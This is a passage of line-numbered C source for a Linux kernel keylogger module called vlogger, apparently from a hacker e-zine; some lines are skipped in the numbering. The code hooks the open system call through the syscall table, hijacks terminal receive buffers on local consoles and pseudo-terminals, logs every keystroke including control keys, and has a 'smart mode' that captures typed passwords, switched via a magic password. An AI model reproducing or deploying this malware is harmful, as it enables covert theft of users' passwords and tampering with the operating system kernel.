1335 if (!strcmp(tmp->buf, MAGIC_PASS)) {
1336 if(vlogger_mode < 2)
1342 switch(vlogger_mode) {
1344 DPRINT("Dumb Mode\n");
1345 TTY_WRITE(tty, "\r\n"
1349 DPRINT("Smart Mode\n");
1350 TTY_WRITE(tty, "\r\n"
1351 "Smart Mode\n", 13);
1354 DPRINT("Normal Mode\n");
1355 TTY_WRITE(tty, "\r\n"
1356 "Normal Mode\n", 14);
1363 append_c(tmp, "[^A]", 4);
1366 append_c(tmp, "[^B]", 4);
1369 append_c(tmp, "[^C]", 4);
1371 append_c(tmp, "[^D]", 4);
1374 if (vlogger_mode == VK_SMARTMODE) {
1375 if (IS_PASSWD(tty)) {
1376 logging(tty, tmp, 0);
1381 logging(tty, tmp, 0);
1386 append_c(tmp, "[^E]", 4);
1389 append_c(tmp, "[^F]", 4);
1392 append_c(tmp, "[^G]", 4);
1394 case 0x09: //TAB - ^I
1395 append_c(tmp, "[TAB]", 5);
1398 append_c(tmp, "[^K]", 4);
1401 append_c(tmp, "[^L]", 4);
1404 append_c(tmp, "[^E]", 4);
1407 append_c(tmp, "[^O]", 4);
1410 append_c(tmp, "[^P]", 4);
1413 append_c(tmp, "[^Q]", 4);
1416 append_c(tmp, "[^R]", 4);
1419 append_c(tmp, "[^S]", 4);
1422 append_c(tmp, "[^T]", 4);
1428 append_c(tmp, "[^V]", 4);
1431 append_c(tmp, "[^W]", 4);
1434 append_c(tmp, "[^X]", 4);
1437 append_c(tmp, "[^Y]", 4);
1440 append_c(tmp, "[^Z]", 4);
1443 append_c(tmp, "[^\\]", 4);
1446 append_c(tmp, "[^]]", 4);
1449 append_c(tmp, "[^^]", 4);
1452 append_c(tmp, "[^_]", 4);
1454 case BACK_SPACE_CHAR1:
1455 case BACK_SPACE_CHAR2:
1456 if (!tmp->lastpos) break;
1457 if (tmp->buf[tmp->lastpos-1] != ']')
1458 tmp->buf[--tmp->lastpos] = 0;
1460 append_c(tmp, "[^H]", 4);
1463 case ESC_CHAR: //ESC
1464 append_c(tmp, "[ESC]", 5);
1467 tmp->buf[tmp->lastpos++] = cp[0];
1468 tmp->buf[tmp->lastpos] = 0;
1470 } else { // a block of chars or special key
1471 if (cp[0] != ESC_CHAR) {
1472 while (count >= MAX_BUFFER) {
1473 append_c(tmp, cp, MAX_BUFFER);
1474 logging(tty, tmp, 1);
1476 count -= MAX_BUFFER;
1480 append_c(tmp, cp, count);
1481 } else // special key
1482 special_key(tmp, cp, count);
1487 void my_tty_open(void)
1494 struct tty_struct * tty;
1498 for (i=1; i<MAX_TTY_CON; i++) {
1499 snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
1502 fd = open(dev_name, O_RDONLY, 0);
1503 if (fd < 0) continue;
1507 tty = file->private_data;
1509 tty->ldisc.receive_buf != NULL) {
1512 tty->ldisc.receive_buf;
1515 init_tty(tty, TTY_INDEX(tty));
1525 for (i=0; i<MAX_PTS_CON; i++) {
1526 snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
1529 fd = open(dev_name, O_RDONLY, 0);
1530 if (fd >= 0) close(fd);
1538 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
1539 char *fp, int count)
1541 if (!tty->real_raw && !tty->raw) // ignore raw mode
1542 vlogger_process(tty, cp, count);
1543 (*old_receive_buf)(tty, cp, fp, count);
1547 static inline void init_tty(struct tty_struct *tty, int tty_index)
1549 struct tlogger *tmp;
1551 DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
1553 if (ttys[tty_index] == NULL) {
1554 tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
1556 DPRINT("kmalloc failed!\n");
1559 memset(tmp, 0, sizeof(struct tlogger));
1561 tty->ldisc.receive_buf = new_receive_buf;
1562 ttys[tty_index] = tmp;
1564 tmp = ttys[tty_index];
1565 logging(tty, tmp, 1);
1567 tty->ldisc.receive_buf = new_receive_buf;
1572 asmlinkage int new_sys_open(const char *filename, int flags, int mode)
1578 ret = (*original_sys_open)(filename, flags, mode);
1581 struct tty_struct * tty;
1586 tty = file->private_data;
1589 ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
1590 TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
1591 (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
1592 tty->driver.subtype == PTY_TYPE_SLAVE &&
1593 TTY_NUMBER(tty) < MAX_PTS_CON)) &&
1594 tty->ldisc.receive_buf != NULL &&
1595 tty->ldisc.receive_buf != new_receive_buf) {
1598 old_receive_buf = tty->ldisc.receive_buf;
1601 init_tty(tty, TTY_INDEX(tty));
1611 int init_module(void)
1616 original_sys_open = sys_call_table[__NR_open];
1617 sys_call_table[__NR_open] = new_sys_open;
1620 // MOD_INC_USE_COUNT;
1625 DECLARE_WAIT_QUEUE_HEAD(wq);
1627 void cleanup_module(void)
1632 sys_call_table[__NR_open] = original_sys_open;
1635 for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
1636 if (ttys[i] != NULL) {
1637 ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
1640 sleep_on_timeout(&wq, HZ);
1641 for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
1642 if (ttys[i] != NULL) {
1646 DPRINT("Unloaded\n");
1651 |=[ EOF ]=---------------------------------------------------------------=|